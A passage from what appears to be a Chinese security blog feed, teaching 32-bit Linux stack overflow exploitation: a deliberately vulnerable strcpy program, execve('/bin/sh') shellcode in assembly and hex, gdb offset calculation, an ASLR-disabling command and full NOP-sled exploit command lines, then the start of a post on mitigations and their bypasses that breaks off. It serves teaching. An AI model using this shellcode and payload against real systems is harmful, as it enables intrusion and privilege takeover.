<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">my_func</span><span class="params">(<span class="keyword">char</span>* str1, <span class="keyword">char</span> *str2)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">int</span> a = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">char</span> buffer[<span class="number">4</span>];</span><br><span class="line">    <span class="built_in">strcpy</span>(buffer, str1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<img src="../images/2019-01-08-栈溢出之-shellcode/图1.png" width="500" height="500" align="middle" />



<p>入栈顺序：</p>
<ul>
<li>调用函数caller压入当前需要保存的寄存器信息，例如eax、ecx、edx等</li>
<li>对被调用函数callee（这里是my_func()函数）的参数，<strong>从右往左</strong>依次压入栈，即str2先入栈，str1再入栈<code>以上部分都是作为caller的函数状态，之后入栈的数据才是作为callee的函数状态保存</code></li>
<li>压入返回地址（即caller调用callee的下一条指令）</li>
<li>调用函数caller的基地址寄存器ebp入栈（同时更新ebp寄存器的值为当前栈顶的地址，也就是ebp变成了callee的基地址）</li>
<li>声明的局部变量a，buffter依次入栈</li>
<li>callee需要保存的寄存器信息，例如ebx、esi、edi等</li>
</ul>
<p>函数调用结束时，栈会丢弃被调用函数callee的状态，并将栈顶恢复为调用函数caller时的状态。</p>
<ul>
<li>依次将callee的寄存器信息，局部变量等弹出</li>
<li>将调用函数caller的基地址弹出，保存到ebp寄存器中（恢复了调用之前的栈基地址）</li>
<li>将返回地址从栈内弹出，保存到eip寄存器内（即将执行的下一条指令）</li>
<li>弹出保存的调用函数caller的寄存器信息，并保存到对应寄存器中</li>
</ul>
<p>这样，调用函数caller的所有信息都恢复到调用之前了，接下来跳转到eip处继续执行程序指令。</p>
<p>利用栈溢出漏洞的核心思想是，通过对函数栈上状态信息的修改，使其数据溢出，将攻击指定覆盖返回地址。这样在函数调用栈恢复后，跳转到返回地址执行时，实际上是跳到我们的攻击指令处执行。</p>
<h2 id="漏洞代码"><a href="#漏洞代码" class="headerlink" title="漏洞代码"></a>漏洞代码</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> **argv)</span> </span>&#123;</span><br><span class="line">	<span class="keyword">char</span> buffer[<span class="number">128</span>];</span><br><span class="line">	<span class="keyword">if</span> (argc &lt; <span class="number">2</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Please input one argument!\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">	<span class="built_in">strcpy</span>(buffer, argv[<span class="number">1</span>]);</span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;argv[1]: %s\n&quot;</span>, buffer);</span><br><span class="line">	<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>为了能够进行最简单的栈溢出利用，我们需要在编译上面代码的时候加一些编译选项：-z execstack  关闭栈不可执行选项，-fno-stack-protector 关闭栈canary保护。</p>
<p>编译命令<code>gcc -z execstack -fno-stack-protector test.c -m32</code>，默认生成a.out可执行文件。</p>
<p>上述代码主要是通过strcpy函数来实现栈溢出的，strcpy是在执行拷贝的时候，是从低地址向高地址拷贝，而且是不会比较两个参数的size的，因此我们的buffer虽然长度为128个字节，但是如果输入的参数大于这个长度，比如136个字节，则会造成剩余的8个字节将会覆盖到ebp以及返回地址处，如下图：</p>
<img src="/images/2019-01-08-栈溢出之-shellcode/图2.png" width="500" height="500" align="middle" />

<p>这样我们就能控制程序跳转到什么地方执行了。</p>
<h2 id="制作shellcode"><a href="#制作shellcode" class="headerlink" title="制作shellcode"></a>制作shellcode</h2><h3 id="shellcode简介"><a href="#shellcode简介" class="headerlink" title="shellcode简介"></a>shellcode简介</h3><p>shellcode是指在漏洞利用中经常用的到一小段代码(code)。由于它经常被用来启动受害机器的shell，所以叫做shellcode。在本文中将会编写一个利用execve系统调用来启动一个shell的shellcode。</p>
<p>在上述代码中，可以有几种方式跳转到shellcode执行。</p>
<p>一种是将shellcode放到返回地址之前，即buffer[128]+ebp，共132字节里，return address设置跳到shellcode处，这种方法比较简单，缺点是有大小限制。</p>
<img src="../images/2019-01-08-栈溢出之-shellcode/图3.png" width="500" height="450" align="middle" />

<p>一种是将shellcode放到返回地址之后，如下图。但如果我们的漏洞不能溢出这么多字节，比如只能溢出16个字节，则无法采用这种方式。</p>
<img src="/images/2019-01-08-栈溢出之-shellcode/图4.png" width="500" height="500" align="middle" />

<p>还有一种方法又叫做jmp esp。将返回地址修改为内存中某处固定的jmp esp指令的地址，因为当返回地址出栈时，esp刚好指向返回地址之后的地址，跟上面的第二种方式异曲同工。这种方法的好处是，不需要知道当前栈的地址。（比较早的方法，现在已经不太常用了）</p>
<h3 id="编写shellcode"><a href="#编写shellcode" class="headerlink" title="编写shellcode"></a>编写shellcode</h3><p>前面提到，我们的shellcode是通过execve来启动一个shell。</p>
<figure class="highlight"><table><tr><td class="code"><pre><span class="line">int execve(const char *filename, char *const argv[], char *const envp[])；</span><br></pre></td></tr></table></figure>

<p>因为我们的shellcode要求尽可能的短，因此我们调用的函数及参数为<code>execve(&quot;/bin/sh&quot;, Null, Null)</code>。</p>
<p>具体的shellcode会因为系统平台不同而不同，本文是在32位linux系统上编写执行的。</p>
<p>首先我们需要了解一下在32位linux平台上的系统调用约定syscall。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">Syscall调用约定：</span><br><span class="line">1. 系统调用号syscall number存放在eax中（execve是11，%eax=0xb）</span><br><span class="line">2. 第1个参数保存在ebx中（%ebx=filename）</span><br><span class="line">3. 第2个参数保存在ecx中 （%ecx=argv）</span><br><span class="line">4. 第3个参数保存在edx中（%edx=envp=0）</span><br><span class="line">5. 第4、5、6个参数分别保存在寄存器esi、edi、ebp中</span><br></pre></td></tr></table></figure>

<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">xor %eax, %eax    ;eax 清零</span><br><span class="line">pushl %eax        ;eax 入栈</span><br><span class="line">push $0x68732f2f  ;&quot;&#x2F;&#x2F;sh&quot; 入栈，两个&#x2F;是为了凑4字节，让shellcode中没有0，对于Linux，&#x2F;和&#x2F;&#x2F;是一样的作用</span><br><span class="line">push $0x6e69622f  ;&quot;&#x2F;bin&quot; 入栈</span><br><span class="line">movl %esp, %ebx   ;将esp值放入ebx</span><br><span class="line">pushl %eax        ;将0压入栈</span><br><span class="line">pushl %ebx        ;将&quot;&#x2F;bin&#x2F;&#x2F;sh&quot;的地址指针入栈</span><br><span class="line">movl %esp, %ecx   ;将esp值放入ecx，即ecx&#x3D;[&quot;&#x2F;bin&#x2F;&#x2F;sh&quot;, 0]，这里用xor %ecx, %ecx也可以</span><br><span class="line">cltd              ;有符号展开，将32位的值展开为64位，eax -&gt; edx:eax，即将edx也设为0，也是为了让shellcode中不含0值，因为0会截断shellcode</span><br><span class="line">movb $0xb, %al    ;传入系统调用数</span><br><span class="line">int $0x80         ;进入系统调用</span><br></pre></td></tr></table></figure>

<p>以上是shellcode。</p>
<h3 id="测试shellcode"><a href="#测试shellcode" class="headerlink" title="测试shellcode"></a>测试shellcode</h3><p>我们需要对已经编写好的shellcode进行测试，看是否可以达到目的。</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">shellcode</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    __asm__(</span><br><span class="line"><span class="string">&quot;xor %eax, %eax\n\t&quot;</span></span><br><span class="line"><span class="string">&quot;pushl %eax\n\t&quot;</span></span><br><span class="line"><span class="string">&quot;push $0x68732f2f\n\t&quot;</span></span><br><span class="line"><span class="string">&quot;push $0x6e69622f\n\t&quot;</span></span><br><span class="line"><span class="string">&quot;movl %esp, %ebx\n\t&quot;</span></span><br><span class="line"><span class="string">&quot;pushl %eax\n\t&quot;</span></span><br><span class="line"><span class="string">&quot;pushl %ebx\n\t&quot;</span></span><br><span class="line"><span class="string">&quot;movl %esp, %ecx\n\t&quot;</span></span><br><span class="line"><span class="string">&quot;cltd\n\t&quot;</span></span><br><span class="line"><span class="string">&quot;movb $0xb, %al\n\t&quot;</span></span><br><span class="line"><span class="string">&quot;int $0x80\n\t&quot;</span></span><br><span class="line">);</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    shellcode();</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>编译并执行：</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash">gcc -m32 test.c -o shellcode</span></span><br><span class="line"><span class="meta">$</span><span class="bash">./shellcode</span></span><br><span class="line">sh-4.2#     #进入shell了</span><br></pre></td></tr></table></figure>

<p>这里是采用内联（inline）汇编的方式测试的shellcode，也可以用汇编器as直接编译汇编代码，用pwntools工具可以直接编译shellcode等。</p>
<h3 id="提取shellcode"><a href="#提取shellcode" class="headerlink" title="提取shellcode"></a>提取shellcode</h3><p>一种比较原始的shellcode提取方法是采用objdump命令。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash">objdump -d shellcode</span></span><br><span class="line">...</span><br><span class="line">080483dd &lt;shellcode&gt;:</span><br><span class="line"> 80483dd:	55                   	push   %ebp</span><br><span class="line"> 80483de:	89 e5                	mov    %esp,%ebp</span><br><span class="line"> 80483e0:	31 c0                	xor    %eax,%eax //从这里开始</span><br><span class="line"> 80483e2:	50                   	push   %eax</span><br><span class="line"> 80483e3:	68 2f 2f 73 68       	push   $0x68732f2f</span><br><span class="line"> 80483e8:	68 2f 62 69 6e       	push   $0x6e69622f</span><br><span class="line"> 80483ed:	89 e3                	mov    %esp,%ebx</span><br><span class="line"> 80483ef:	50                   	push   %eax</span><br><span class="line"> 80483f0:	53                   	push   %ebx</span><br><span class="line"> 80483f1:	89 e1                	mov    %esp,%ecx</span><br><span class="line"> 80483f3:	99                   	cltd   </span><br><span class="line"> 80483f4:	b0 0b                	mov    $0xb,%al</span><br><span class="line"> 80483f6:	cd 80                	int    $0x80</span><br><span class="line"> ...</span><br></pre></td></tr></table></figure>

<p>以上这段的机器码就是我们的shellcode 了，<code>shellcode=&quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80&quot;</code>。</p>
<p>测试（以下代码是通用的shellcode测试程序，其他的shellcode只需要修改shellcode数组中的字符串）：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">char</span> shellcode[] =<span class="string">&quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    <span class="keyword">void</span>(*f)()=(<span class="keyword">void</span>(*)())shellcode;  <span class="comment">//强类型转换，将shellcode数组转换为函数指针</span></span><br><span class="line">    f();</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>编译需加上栈可执行选项，<code>gcc -z execstack -m32 test.c -o shellcode</code>，因为shellcode是函数外部的变量，存储在全局字符数组中，位于.data section中，默认是不可执行的。所以需要加上选项-z execstack，开启栈/堆/数据段可执行。之后运行<code>./shellcode</code>可以正常进入shell，表明shellcode构造成功。</p>
<h2 id="栈溢出简单利用"><a href="#栈溢出简单利用" class="headerlink" title="栈溢出简单利用"></a>栈溢出简单利用</h2><h3 id="计算缓冲区长度"><a href="#计算缓冲区长度" class="headerlink" title="计算缓冲区长度"></a>计算缓冲区长度</h3><p>首先我们需要计算从缓冲区开头到栈上的返回地址长度，这样才能准确覆盖到返回地址。这里通过gdb下断点查看，也可以通过pwntools里的cyclic工具来计算缓冲区长度。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash">gdb -q --args a.out XXX   <span class="comment">#gdb 进入a.out，带上参数XXX</span></span></span><br><span class="line">Reading symbols from /home/scbox/Documents/a.out...(no debugging symbols found)...done.</span><br><span class="line">(gdb) r</span><br><span class="line">Starting program: /home/scbox/Documents/a.out XXX</span><br><span class="line">argv[1]: XXX</span><br><span class="line">[Inferior 1 (process 41732) exited normally]</span><br><span class="line">Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686</span><br><span class="line">(gdb) disassemble main #查看main的汇编代码</span><br><span class="line">Dump of assembler code for function main:</span><br><span class="line">   0x0804846d &lt;+0&gt;:	push   %ebp</span><br><span class="line">   0x0804846e &lt;+1&gt;:	mov    %esp,%ebp</span><br><span class="line">   0x08048470 &lt;+3&gt;:	and    $0xfffffff0,%esp</span><br><span class="line">   0x08048473 &lt;+6&gt;:	sub    $0x90,%esp</span><br><span class="line">   0x08048479 &lt;+12&gt;:	cmpl   $0x1,0x8(%ebp)</span><br><span class="line">   0x0804847d &lt;+16&gt;:	jg     0x8048492 &lt;main+37&gt;</span><br><span class="line">   0x0804847f &lt;+18&gt;:	movl   $0x8048564,(%esp)</span><br><span class="line">   0x08048486 &lt;+25&gt;:	call   0x8048340 &lt;puts@plt&gt;</span><br><span class="line">   0x0804848b &lt;+30&gt;:	mov    $0xffffffff,%eax</span><br><span class="line">   0x08048490 &lt;+35&gt;:	jmp    0x80484c3 &lt;main+86&gt;</span><br><span class="line">   0x08048492 &lt;+37&gt;:	mov    0xc(%ebp),%eax</span><br><span class="line">   0x08048495 &lt;+40&gt;:	add    $0x4,%eax</span><br><span class="line">   0x08048498 &lt;+43&gt;:	mov    (%eax),%eax</span><br><span class="line">   0x0804849a &lt;+45&gt;:	mov    %eax,0x4(%esp)</span><br><span class="line">   0x0804849e &lt;+49&gt;:	lea    0x10(%esp),%eax</span><br><span class="line">   0x080484a2 &lt;+53&gt;:	mov    %eax,(%esp)</span><br><span class="line">   0x080484a5 &lt;+56&gt;:	call   0x8048330 &lt;strcpy@plt&gt; #此处设置断点1</span><br><span class="line">   0x080484aa &lt;+61&gt;:	lea    0x10(%esp),%eax</span><br><span class="line">   0x080484ae &lt;+65&gt;:	mov    %eax,0x4(%esp)</span><br><span class="line">   0x080484b2 &lt;+69&gt;:	movl   $0x804857f,(%esp)</span><br><span class="line">   0x080484b9 &lt;+76&gt;:	call   0x8048320 &lt;printf@plt&gt;</span><br><span class="line">   0x080484be &lt;+81&gt;:	mov    $0x0,%eax</span><br><span class="line">   0x080484c3 &lt;+86&gt;:	leave  </span><br><span class="line">   0x080484c4 &lt;+87&gt;:	ret    #设置断点2</span><br><span class="line">End of assembler dump.</span><br><span class="line">(gdb) b *0x080484a5</span><br><span class="line">Breakpoint 1 at 0x80484a5</span><br><span class="line">(gdb) b *0x080484c4</span><br><span class="line">Breakpoint 2 at 0x80484c4</span><br><span class="line">(gdb) r</span><br><span class="line">Starting program: /home/scbox/Documents/a.out XXX</span><br><span class="line"></span><br><span class="line">Breakpoint 1, 0x080484a5 in main ()</span><br><span class="line">(gdb) x/2wx $esp #查看断点1处的esp，这里参数已经入栈了，0xffffd080是strcpy的第一个参数，即buffer的起始地址（main函数的局部变量）</span><br><span class="line">0xffffd070:	0xffffd080	0xffffd361</span><br><span class="line">(gdb) c</span><br><span class="line">Continuing.</span><br><span class="line">argv[1]: XXX</span><br><span class="line"></span><br><span class="line">Breakpoint 2, 0x080484c4 in main ()</span><br><span class="line">(gdb) x/wx $esp #断点2处的esp就是main函数的返回地址</span><br><span class="line">0xffffd10c:	0xf7e122a3</span><br><span class="line">(gdb) p/d 0xffffd10c-0xffffd080 #相减得到缓冲区长度（不包括返回地址）</span><br><span class="line"><span class="meta">$</span><span class="bash">1 = 140</span></span><br></pre></td></tr></table></figure>

<h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>为了降低漏洞利用的难度，我们先关闭系统的ASLR机制（地址随机化）。命令<code>echo 0 &gt; /proc/sys/kernel/randomize_va_space</code>，将文件的值设置为0（这是临时设置，重启后无效，永久设置，需在/etc/sysctl.conf，添加kernel.randomize_va_space = value）。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">[root@scbox-1596421650158 Documents]# gdb -q --args a.out $(python -c &#x27;print &quot;A&quot; * 140 + &quot;BBBB&quot;&#x27;)</span><br><span class="line"></span><br><span class="line">Reading symbols from /home/scbox/Documents/a.out...(no debugging symbols found)...done.</span><br><span class="line">(gdb) r</span><br><span class="line">Starting program: /home/scbox/Documents/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB</span><br><span class="line">argv[1]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB</span><br><span class="line"></span><br><span class="line">Program received signal SIGSEGV, Segmentation fault.</span><br><span class="line">0x42424242 in ?? ()</span><br><span class="line">Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686</span><br><span class="line">(gdb) x/10x $esp -160  #缓冲区开头地址为0xffffcff0</span><br><span class="line">0xffffcfe0:	0x0804857f	0xffffcff0	0x00000001	0xf7ffd900</span><br><span class="line">0xffffcff0:	0x41414141	0x41414141	0x41414141	0x41414141</span><br><span class="line">0xffffd000:	0x41414141	0x41414141</span><br><span class="line">(gdb) x/10x $esp -20</span><br><span class="line">0xffffd06c:	0x41414141	0x41414141	0x41414141	0x41414141</span><br><span class="line">0xffffd07c:	0x42424242	0x00000000	0xffffd114	0xffffd120</span><br><span class="line">0xffffd08c:	0xf7fd86b0	0x00000001</span><br></pre></td></tr></table></figure>

<p>在shell中$()表示执行输入的命令，这里我们将a.out的输入参数变为140个A+4个B。可以看到程序发生了segmentation fault错误，就是因为返回地址变为了0x42424242。打印esp也可以看到我们的填充是成功了的。</p>
<p>那么接下来我们使用sehllcode来填充buffer，剩余的用A字符，最后的返回地址填buffer的起始地址，这样程序跳转到返回地址执行的时候，就会执行我们的shellcode。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> gdb -q --args a.out $(python -c <span class="string">&#x27;print &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80&quot; + &quot;A&quot; * (140 - 24) + &quot;\xf0\xcf\xff\xff&quot;&#x27;</span>)</span></span><br><span class="line">Reading symbols from /home/scbox/Documents/a.out...(no debugging symbols found)...done.</span><br><span class="line">(gdb) r</span><br><span class="line">Starting program: /home/scbox/Documents/a.out 1�Ph//shh/bin��PS�ᙰ</span><br><span class="line">                                                                 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����</span><br><span class="line">argv[1]: 1�Ph//shh/bin��PS�ᙰ</span><br><span class="line">                            AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����</span><br><span class="line">process 16289 is executing new program: /usr/bin/bash</span><br><span class="line">Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686</span><br><span class="line">sh-4.2#   #进入shell了！</span><br></pre></td></tr></table></figure>

<p>以上是在gdb中使用shellcode，但是直接运行shellcode，其实并不能执行，因为gdb会为程序增加一些存储在栈上的环境变量（便于调试），这样的话，栈用得更多，栈地址就会变低。直接运行的时候栈地址比gdb中的高，所以不能执行。</p>
<p>那么我们的解决办法是，把0xffffcff0栈地址增加到0xffffd02c（增加60个字节），然后增加的这部分填充为NOP指令，这样返回地址为60个字节地址中的任意一个，都可以执行到我们的shellcode。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> ./a.out $(python -c <span class="string">&#x27;print &quot;\x90&quot; * 60 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80&quot; + &quot;A&quot; * (140 - 60 - 24)+ &quot;\x2c\xd0\xff\xff&quot;&#x27;</span>)</span></span><br><span class="line">argv[1]: ������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ</span><br><span class="line">        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,���</span><br><span class="line">sh-4.2# </span><br></pre></td></tr></table></figure>

<p>成功啦！</p>
]]></content>
      <categories>
        <category>漏洞利用</category>
      </categories>
  </entry>
  <entry>
    <title>栈溢出之 ROP（一）</title>
    <url>/b1689cf9.html</url>
    <content><![CDATA[<p>栈溢出的基本原理以及shellcode利用可以查看我的上一篇文章——<a href="https://harpersu00.github.io/adec3bdf.html">栈溢出之shellcode</a>。</p>
<h2 id="栈溢出缓解措施介绍"><a href="#栈溢出缓解措施介绍" class="headerlink" title="栈溢出缓解措施介绍"></a>栈溢出缓解措施介绍</h2><p>栈地址随机化（攻击者不知道shellcode的地址，无法构造return address）：ASLR（地址空间随机化）、PIE（地址无关可执行文件）</p>
<p>检测栈溢出，并报错退出：Stack Canary/Cookie</p>
<p>栈不可执行：NX（不执行）/DEP（数据执行保护）</p>
<a id="more"></a>

<h3 id="ASLR-和-PIE"><a href="#ASLR-和-PIE" class="headerlink" title="ASLR 和 PIE"></a>ASLR 和 PIE</h3><p>ASLR是地址空间随机化。开启后，堆、栈、共享库都会有一个随机偏移，堆和共享库往上（高地址处）偏移一个随机量，栈往下（低地址处）偏移。随机粒度为0x1000，一个内存页的大小。</p>
<p>单独开启ASLR，虽然堆、栈、共享库都会被随机化，但是程序的入口代码加载还是在固定地址0x804800。</p>
<p>PIE（地址无关代码）开启后，编译器会在编译时生成地址无关代码，编译选项<code>-fPIC -pie</code>，这样程序就可以在随机地址处被加载。也就是程序的代码以及数据段会往上（高地址处）偏移一个随机量。如下图所示。</p>
<img src="../images/2019-03-12-栈溢出之-ROP（一）/图1.png" width="800" height="550" align="middle" />

<p>使用<code>ldd</code>命令查看加载库的地址，可以看到两次都不一样。</p>
<figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="variable">$</span> ldd a.out </span><br><span class="line">	linux<span class="literal">-gate</span>.so.<span class="number">1</span> =&gt;  (<span class="number">0</span>xf77c7000)</span><br><span class="line">	libc.so.<span class="number">6</span> =&gt; /lib/libc.so.<span class="number">6</span> (<span class="number">0</span>xf75e6000)</span><br><span class="line">	/lib/ld<span class="literal">-linux</span>.so.<span class="number">2</span> (<span class="number">0</span>xf77c8000)</span><br><span class="line"><span class="variable">$</span> ldd a.out </span><br><span class="line">	linux<span class="literal">-gate</span>.so.<span class="number">1</span> =&gt;  (<span class="number">0</span>xf7798000)</span><br><span class="line">	libc.so.<span class="number">6</span> =&gt; /lib/libc.so.<span class="number">6</span> (<span class="number">0</span>xf75b7000)</span><br><span class="line">	/lib/ld<span class="literal">-linux</span>.so.<span class="number">2</span> (<span class="number">0</span>xf7799000)</span><br></pre></td></tr></table></figure>

<p>查看程序加载地址：</p>
<figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="variable">$</span> gcc test.c <span class="literal">-m32</span> <span class="literal">-fPIC</span> <span class="literal">-pie</span> <span class="literal">-o</span> a2.out</span><br><span class="line"><span class="variable">$</span> gdb <span class="literal">-q</span> a2.out</span><br><span class="line">Reading symbols from /home/scbox/Documents/a2.out...(no debugging symbols found)...done.</span><br><span class="line">(gdb) <span class="built_in">set</span> <span class="built_in">disable-randomization</span> off <span class="comment">#如果不开启这个选项，则在gdb中默认是不随机化的</span></span><br><span class="line">(gdb) b main</span><br><span class="line">Breakpoint <span class="number">1</span> at <span class="number">0</span>x5ff</span><br><span class="line">(gdb) <span class="built_in">r</span></span><br><span class="line">Starting program: /home/scbox/Documents/a2.out </span><br><span class="line"></span><br><span class="line">Breakpoint <span class="number">1</span>, <span class="number">0</span>x565855ff <span class="keyword">in</span> main ()</span><br><span class="line">Missing separate debuginfos, use: debuginfo<span class="literal">-install</span> glibc<span class="literal">-2</span>.<span class="number">17</span><span class="literal">-307</span>.el7.<span class="number">1</span>.i686</span><br><span class="line">...</span><br><span class="line"><span class="variable">$</span> gdb <span class="literal">-q</span> a2.out</span><br><span class="line">...</span><br><span class="line">(gdb) <span class="built_in">r</span></span><br><span class="line">Starting program: /home/scbox/Documents/a2.out </span><br><span class="line"></span><br><span class="line">Breakpoint <span class="number">1</span>, <span class="number">0</span>x565e25ff <span class="keyword">in</span> main ()  <span class="comment">#两次main函数的地址不一样了</span></span><br><span class="line">Missing separate debuginfos, use: debuginfo<span class="literal">-install</span> glibc<span class="literal">-2</span>.<span class="number">17</span><span class="literal">-307</span>.el7.<span class="number">1</span>.i686</span><br><span class="line">...</span><br></pre></td></tr></table></figure>

<ul>
<li>只是开启了ASLR，没有开启PIE的话，可以通过<code>Return to PLT</code>，绕过共享库随机化。（比如将shellcode放置在.data段，这部分是不会随机化的）</li>
<li>x86_32架构下爆破（因为随机化粒度为0x1000，所以只有几千种可能）</li>
<li>info leak（信息泄露，比如在我的<a href="https://harpersu00.github.io/7e77e3d1.html">（译）Analysis and exploitation of Pegasus kernel vulnerabilities (CVE-2016-4655 / CVE-2016-4656)</a>文章中介绍的CVE-2016-4655漏洞）</li>
<li>nop sled（在shellcode之前添加大段nop指令，在上一篇<a href="https://harpersu00.github.io/adec3bdf.html">栈溢出之shellcode</a>的文章中，使用了这种方法）</li>
<li>heap spray（堆喷）</li>
<li>在本地环境中，可以使用<code>ulimit -s unilimited</code>命令（程序崩溃后会生成core dump文件，可以在这个文件中查看shellcode地址）</li>
</ul>
<h3 id="Stack-Canary-Cookie"><a href="#Stack-Canary-Cookie" class="headerlink" title="Stack Canary/Cookie"></a>Stack Canary/Cookie</h3><p>这个机制是用来检测栈溢出的。对于需要保护的函数，在执行之前，将一个随机值放在栈上，这个值被称为Canary。在64位上一般在rbp-0x8的位置，32位在ebp-0x4的位置，也就是ebp保存地址往下（低地址）的部分。然后在函数返回之前，会先检测这个值是否发生改变。stack_chk_fail的错误信息就是由于栈溢出。通过编译选项<code>gcc -fstack-protector</code>可以开启。</p>
<img src="../images/2019-03-12-栈溢出之-ROP（一）/图2.png" width="650" height="450" align="middle" />

<p>可以通过泄露Canary的方式绕过（同一进程不同线程的函数的Canary是一样的，比如read函数）</p>
<p>控制覆盖长度（只覆盖局部变量，不覆盖返回地址）</p>
<p>修改Canary（Canary保存在TLS(Thread-local Storage)寄存器中，一般是偏移0x14的位置stack_guard）</p>
<p>劫持stack_chk_fail（canary被覆盖时，就会调用这个函数，劫持后可跳转到自己的shellcode，比如<a href="https://harpersu00.github.io/1e59798b.html">GOT表劫持</a>）</p>
<p>利用stack_chk_fail的报错信息（在报错信息中，会打印栈溢出的程序名，即argv[0]，可以覆盖这个地址为其他地址，输出我们想知道的内容）</p>
<h3 id="NX-DEP"><a href="#NX-DEP" class="headerlink" title="NX/DEP"></a>NX/DEP</h3><p>栈不可执行主要是对程序的内存块权限进行更进一步的划分。堆、栈以及数据区可写，但不可执行。代码区、只读数据区不可写，但可执行。也就是说我们要找一块内存区域是既可写也可以执行的，来写入shellcode，是找不到了。</p>
<p>绕过NX/DEP所需要的方法有一个基本思想，就是Return to Libc。因为我们不能执行写入的代码，那我们就跳转到程序已经加载了的代码中执行，比如libc中的大量函数，system()等等。</p>
<p><img src="/images/2019-03-12-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B9%8B-ROP%EF%BC%88%E4%B8%80%EF%BC%89/%E5%9B%BE3.png"></p>
<p>如上图所示，我们将函数的return地址覆盖为libc中的system函数地址，当进程跳转到这个地址时，会执行system函数内部的指令，首先是所有函数都有的，<code>push ebp;</code> 跟<code> mov ebp, esp;</code>这两条指令，即将<code>exit</code>的地址push到。需要读取栈上的参数，即”/bin/sh”，</p>
<h2 id="Return-to-libc"><a href="#Return-to-libc" class="headerlink" title="Return to libc"></a>Return to libc</h2><p>shellcode以及含有栈溢出漏洞的代码都采用的是跟我上一篇文章一样的代码。</p>
<p>含有栈溢出漏洞的代码:</p>
